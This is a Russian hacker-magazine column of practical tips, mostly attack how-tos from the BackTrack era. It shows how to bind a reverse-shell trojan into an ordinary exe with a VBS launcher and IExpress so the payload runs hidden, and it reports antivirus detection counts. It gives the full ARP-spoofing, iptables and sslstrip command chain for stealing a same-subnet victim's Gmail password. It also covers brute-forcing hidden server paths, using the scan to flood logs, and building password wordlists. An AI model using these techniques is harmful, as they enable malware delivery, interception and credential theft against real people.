Содержание статьи
- Задача: Найти скрытые директории и файлы на веб-сервере
- Решение
- Задача: Подключить внешнюю антенну к компьютеру или ноутбуку
- Решение
- Задача: Создать свой словарь для брутфорсера
- Решение
- Задача: Создать portable-версию любимой программы
- Решение
- Задача: Спрятать троян в любом exe-файле
- Решение
- Задача: Вынуть файлы из pcapдампа трафика
- Решение
- Задача: Украсть логин и пароль от gmail и аналогичных сервисов, находясь в одной подсети с жертвой
- Решение
Задача: Найти скрытые директории и файлы на веб-сервере
Решение
Очень часто при взломе необходимо обнаружить скрытые файлы и директории на сервере. Например, спрятанную CMS-админку, файлики с конфигами или какой-то другой критической информацией, которые не были должным образом спрятаны или удалены. Для начала, конечно же, стоит воспользоваться всевидящим Гуглом (или аналогичным поисковиком) с его операторами site, inurl, filetype и т.д., надеясь на то, что админ забыл ограничить его. Но есть и более злые методы. Представляю тебе многопоточный URL-брутфорсер DirBuster, являющийся частью OWASP (owasp.org/index.php/Category:OWASP_DirBuster_Project).
Это Java-приложение отличается достаточно широкими возможностями и отличной производительностью (обещают до 6000 запросов)! У меня вышло в среднем 300 запросов в секунду при стандартных настройках производительности.
Перечислю основные фичи:
- Рекурсивный поиск директорий и файлов, начиная с любой директории;
- Поддержка прокси;
- Поддержка HTTP-аутентификации;
- Подделка HTTP-заголовков;
- URL fuzzing;
- Перебор вариантов как по словарям, так и по символам.
Программа проста в использовании, поясню только одну опцию. Сейчас для навигации очень часто используются всевозможные скрипты, поэтому прямые пути к файлам недоступны. Тут нам и поможет URL fuzzing. Все, что от нас требуется — это указать, какую часть URL следует перебирать, используя пометку {dir}.
Например:
/show.php?p={dir}.html
И программа вместо {dir} будет подставлять значения из своей базы. Признаюсь, что при всей своей крутости программа сыровата. В последней версии (1.0rc1) — злой глюк в рекурсии, поэтому иногда можно использовать предыдущую версию (0.12). Стандартные базы слов содержат очень много мусора.
И, что хуже всего, хоть программа и имеет возможность работы без GUI через консоль, но ее возможности в этом случае очень ограничены. А так — цены бы ей не было. И еще, в связи с производительностью и объемом запросов (см. рисунок), которые DirBuster отправляет при сканировании, можно использовать его для засорения логов, таким образом отвлекая админов от реального вектора атаки.
Задача: Подключить внешнюю антенну к компьютеру или ноутбуку
Решение
Тема вардрайвинга нынче модна, и интерес к ней очень велик. Мануалы сведены «до кликов», попробовать себя хочет каждый. Но стандартных встроенных антенн в ноутбуках не хватает, особенно если хочется для начала попрактиковаться, и чтобы со всеми удобствами — из дома, а лишние денежные затраты хочется свести к минимуму. Сделать свою собственную антенну нетрудно — в Сети полно мануалов, и ты можешь найти подходящую и по силе приема, и по своим навыкам, и по размерам загогулину. Другое дело — присоединить ее к самому ноутбуку. Вообще, в ноутбуке на WiFi-карте обычно есть «выход» на внешнюю антенну, помеченный как «aux». И все, что нам требуется — припаять к нему коаксиальный провод, а другой его конец — к разъему для антенны. Сам разъем закрепляется на корпусе ноутбука.
Более подробное описание с картинками есть тут:
habrahabr.ru/blogs/modding/46483/
Если у тебя нет «сгоревшего d-link’а», как описано в статье, то все необходимое можешь найти в магазине типа «Мегачип» или «Чип и Дип». Там же могут подсказать, что тебе конкретно необходимо. Но лично я паяльник только на картинках видел. А в WiFi, как известно, сверхвысокие частоты, потому неумеючи можно либо спаять с гигантскими потерями в силе сигнала, либо вообще испортить карточку.
Но есть другой экономный вариант — использовать мини USB WiFi-адаптер (в простонародье — «свисток»). Размером он с флешку, стоит от 500 руб.
Отличный вариант, особенно с учетом того, что его можно повестить на USB-удлинитель, не боясь потери силы сигнала. А стандарт USB поддерживает провода до 5 метров, что позволяет дотянуть «свисток», например, до окна. Есть «свистки» с выходами на внешнюю антенну. Но самое забавное — возможность совмещения баночной антенны и WiFi-«свистка», что дает +5 dBi. Просто, доступно и практично для дома. Инструкция с картинками:korolshop.narod.ru/WiFi/wifi.htm
При выборе «свистка» загляни на форум античата. Там есть список WiFi-адапетров и «свистков», которые лучше всего подходят для вардрайвинга.forum.antichat.ru/showthread.php?t=57249
Дополнительный бонус: если ты извращаешься и запускаешь BackTrack на виртуалке от VMware, то со встроенными WiFi-картами у тебя ничего не получится, ибо BackTrack их не увидит (проблемы с эмуляцией WiFi). А вот «свисток» на чипсете rt2570 или rt73 и обнаруживается, и поддерживает необходимые функции.
Задача: Создать свой словарь для брутфорсера
Решение
Сейчас существует множество всевозможных брутфорсеров. Некоторые из них поддерживают посимвольный и словарный перебор, использование регулярных выражений, но не все. А что, если наделить брутфорсер такими возможностями? А иногда бывает необходимо создать специфический словарь, если известны какие-то символы пароля или, например, привычки человека.
Как вариант, можно заюзать такую тулзу как crunch. Что приятно — она входит в BackTrack и довольно динамично развивается. Последняя версия на момент подготовки материала рубрики — 2.4 — есть на диске.
А скачать ее можно тут:
sourceforge.net/projects/crunch-wordlist/
На входе задаешь необходимую спецификацию, в итоге получаешь словарь (файлом или через stdout), который можно запихнуть в любой брутфорсер, например, в вышеописанный DirBuster. Возможности широки, поэтому приведу только пару примеров, чтобы ты проникся этой тулзой и вспомнил о ней, когда возникнет необходимость.
./crunch 4 6 -f charset.lst mixalpha-space -o START -c 100000
где 4 и 6 — минимальная и максимальная длина слова в словаре,
-f charset.lst mixalpha-space —
набор символов из charset.lst, который нужно использовать, в данном случае — алфавит в обоих регистрах и пробел.
-o START -c 500000
создаст несколько файлов, разбивая твой словарь по 100000 записей в каждом.
Если словарь создается очень долго, то ты можешь остановить, а потом возобновить процесс, используя предыдущую команду с аргументов –r. Кстати, charset.lst можно поменять и настроить под себя, введя, к примеру, поддержку русского языка. В этом файле наборы символов перечисляются в квадратных скобках и нарекаются именем, чтобы к ним можно было потом обратиться из crunch’а. Таким образом, добавив в этот файл строку следующего вида:
rualpha=[абвгдеежзийклмнопрстуфхшщьъэюя]
мы добавим возможность создавать чисто русские словари, указывая rualpha в
качестве аргумента к crunch’у.
./crunch 7 7 -t @DOG@%^ ABCDabcd 1369 @#$%^ -o wordlist.txt
Итог примера:
…
cDOGd9%
cDOGd9^
dDOGA1@
dDOGA1#
…
Данной командой ты создашь словарь из семи символьных слов по заданному шаблону(-t), где @ заменяется алфавитным символом, % — цифрой, ^ — спецсимволом из указанных наборов символов. Итог запишется в wordlist.txt. Следующая команда создаст словарь из всевозможных комбинаций слов после аргумента –m. Указывать длину слова надо обязательно, хотя она и не учитывается:
./crunch 1 1 -m Happy Birthday Masha
Итог примера:
…
MashaBirthdayHappy
MashaHappyBirthday
BirthdayMashaHappy
…
Задача: Создать portable-версию любимой программы
Решение
Очень часто появляется необходимость иметь любимое ПО под рукой, например, на флешке, чтобы установленный софт не оставил после себя следов. Но настоящие portable-версии ПО производители редко создают. Можно самому «собрать» программу после ее установки, но искать все ее части, разбросанные по системе, перенастраивать — дело неблагодарное. В этом деле нам поможет ThinApp (раньше называлась Thinstall) от VMWare. С официального сайта можно скачать триал-версию, но если т0ебе не требуется что-то исключительное, например, поддержка Win7 или 64-битных систем, то можешь нарыть версию 3.х, которая удовлетворит большинство пожеланий.
Идея такова: ThinApp сканирует реестр и файловую систему твоей ОС до установки необходимой тебе программы и после, прослеживает изменения, внесенные ею, и создает контейнер — портативную виртуальную ОС вместе со всеми частями твоей программы, реестром. То есть, после запуска получившегося exe’шника откроется твоя программа в виртуальной среде окружения. Для примера я создал и запустил 7, 8 версии IE в XP со стандартной IE6.
От слов — к делу. Одно замечание: желательно все это проводить на чистой системе, то есть без лишнего ПО и со стандартным реестром. Поэтому используют виртуальную ОС.
- Качаем и устанавливаем ThinApp;
- Запускаем ThinApp Setup Capture и выполняем предварительное сканирование;
- Устанавливаем нужное ПО, если необходимо — перезагружаем комп;
- Настраиваем наше ПО;
- Удаляем лишние и временные файлы;
- Запускаем пост-сканирование в ThinApp;
- Устанавливаем точки входа в ПО, то есть основные exe-файлы программы;
- Определяем метод изоляции ПО;
- Указываем, где физически хранить файлы получившейся «песочницы »;
- Вводим название проекта и другие настройки;
- Получаем exe-контейнер нашего ПО;
- Радуемся!
Вообще, возможностей у ThinApp много. Более тонкая настройка каждого проекта осуществляется посредством файла Package.ini и ##Attributes.ini в папках и перестройкой build.bat
К примеру, в Package.ini можно задать следующее:
[Isolation]
DirectoryIsolationMode=Full
Получившийся контейнер не будет иметь доступа к файловой системе реальной ОС. Из минусов стоит отметить снижение производительности и небольшие ограничения ПО, которое можно виртуализировать.
Задача: Спрятать троян в любом exe-файле
Решение
В прошлом номере я рассказывал о способе создания трояна с использованием только msfpayload, и о том, как его спрятать с помощью msfencode (части Metasploit), объединив с каким-либо exe-файлом. У этого метода объединения файла есть одна проблема: получившийся exe-файл запускает не программу, с которой был объединен троян, а только его самого, так как происходит изменение точки входа в программу, да и вообще :)... Есть один старый и легальный метод для объединения файлов. И, что приятно, встроенный в винду. Потому ты можешь использовать его и на благое дело.
Имя программы, которой мы воспользуемся — IExpress. Для примера я объединил троян, созданный в прошлом номере, и стандартный калькулятор. Но начну по порядку:
1. Копируем троян (reverse.exe) и калькулятор на рабочий стол;
2. Создаем файл sbd.vbs и пишем в него:
Set wshshell = WScript.CreateObject(«WScript.Shell»)
wshshell.run «calc.exe»,1, False
wshshell.run «reverse.exe»,0,False
Итак, мы создали скрипт на Visual Basic, который по очереди запускает оба наших exe-файла. Параметры, передаваемые wshshell.run:
- Имя файла для запуска;
- Отображать ли окно программы при запуске, где 0 — нет, 1 — да (есть и другие варианты);
- Ждать ли закрытия программы перед выполнением следующего оператора.
После этого мы запускаем iexpress (Пуск ia Выполнить oi iexpress) и следуем указаниям мастера:
- Далее — Далее;
- Любое название;
- Далее — Далее;
- Добавляем файлы, которые хотим объединить в пакет (sbd.vbs, reverse.exe, calc.exe);
- Выбираем программу для запуска при старте (пока что любую из них);
- Далее — Далее;
- Вводим путь для сохранения пакета и ставим обе галки (ff1.exe);
- Галку на NoRestart;
- Далее — Далее.
В результате на рабочем столе должны появиться два файла: настройки ff1. sed и ff1.exe.
Лезем в ff1.sed и меняем там значение AppLaunched на следующее, которое запустит наш vb-скрипт:
AppLaunched=cscript sbd.vbs
Запускаем iexpress и пересоздаем пакет на основе нового SED (выбирается сразу при запуске iexpress). Ярлык для полученного файла можно поменять с помощью редактора ресурсов. На диске есть sed-файл, так что можешь поменять пути внутри на необходимые.
На детектируемость антивирусами запаковка почти не влияет, что логично, так что 18 вместо 21 из 41.
Задача: Вынуть файлы из pcapдампа трафика
Решение
Программ, которые позволяют выцепить конкретные файлы из pcap-файлов (стандартный формат дампа сетевого трафика), достаточно много. Вот только большинство из них и работают не очень хорошо, и давно не поддерживаются, а выцепляют только картинки да html’ки. Не считая всяких платных продуктов, где все работает «на ура», есть пара достойных и при этом доступных прог. Как ни странно, под Win с этой задачей отлично справился NetworkMiner.
Все, что нужно сделать — открыть в нем требуемый pcap-файл и наслаждаться результатом, раскиданным по разным вкладкам. Он и анализирует быстро, и сортирует все хорошо, и итоги «рабочие».
Из того, что входит в комплект Back Track 4, могу посоветовать разве что foremost да tcpxtract. Но последний надо устанавливать из репозитория, и не обновляется он уже давно.
Пример:
foremost -i dump.pcap
Где -i dump.pcap — путь до pcap-файла с дампом трафика. Глобальные настройки производятся с помощью файла /etc/foremost.conf.
Задача: Украсть логин и пароль от gmail и аналогичных сервисов, находясь в одной подсети с жертвой
Решение
Для решения данной проблемы я напомню тебе способ, предложенный на Black Hat DC 2009 с использованием sslstrip.
Конечно, возможность приблизиться к жертве на расстояние «одной подсети» появляется не так часто, но, в то же время, взломав хотя бы одну машину из подсетки, мы получим доступ к данным всех остальных.
Нам понадобится:
- sslstrip;
- arpspoof.
Я воспользовался BackTrack’ом, где ПО уже установлено.
В примере:
- 192.168.0.1 — основной шлюз;
- 192.168.0.101 — жертва;
- 192.168.0.102 — хакер.
Итак, начнем:
arpspoof -i eth0 -t 192.168.0.101 192.168.0.1
Перед отправкой каких-либо данных во внешнюю сеть жертва делает ARP-запрос, чтобы узнать MAC-адрес шлюза. Данной командой мы массово отправляем ARP-ответы нашей жертве о том, что шлюз реально находится по нашему, хакерскому, MAC-адресу. Таким образом, жертва думает, что 192.168.0.1 расположен по МАС-адресу хакера, потому все пакеты отправляет нам, а не на шлюз. Вообще, возможность проведения спуфинга зависит от организации сети и настроек маршрутизации.
Далее нам нужно, чтобы весь трафик жертвы от нас перенаправлялся на реальный шлюз, для этого пишем:
echo "1" > /proc/sys/net/ipv4/ip_forward
Вобщем-то для того, чтобы украсть пароли из HTTP и FTP-соединений, к примеру, этого хватило бы. Запустив любой сниффер, мы просто вылавливаем необходимую нам инфу.
Но хуже дело обстоит с протоколами, которые поддерживают шифрование типа HTTPS c его SSL и TLS. Как же тут быть?
Для HTTPS-протокола мы можем сделать что-то вроде поддельного HTTP/ HTTPS прокси-сервера. То есть данные от жертвы будут отправляться не сразу на шлюз, а сначала на sslstrip, точнее, устанавливать с ним незащищенное HTTP-соединение, а сам sslstrip уже будет устанавливать защищенное соединение с Gmail и редиректить данные от жертвы. Для этого нам потребуется, во-первых, сделать редирект HTTP-трафика на наш «прокси».
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
REDIRECT --to-port 8080
Этой командой мы редиректим весь TCP-трафик, приходящий на 80 порт, на наш 8080.
Далее запускаем сервер sslstrip на (аргумент -l) 8080 порте и указываем, чтобы он вел лог всего трафика в файл sslstrip.log (аргумент -a):
sslstrip -a -l 8080
Пароли и другую интересную информацию ищем в sslstrip.log. Сам метод имеет ряд нюансов и ограничений, связанных с кэшированием данных браузером, кукисами, прямым выходом на HTTPS-соединение и т.д. Признаюсь, что во время тестирования стабильности в результатах sslstrip я не добился, но все же смог украсть пасс и от Gmail’а, и от админки к серверу.
К тому же я проводил опыты на версии 0.2 (в поставке BT4), а последняя версия на время написания статьи — 0.7. В ней появилось много разных дополнительных вкусностей, так что прикладываю именно 0.7.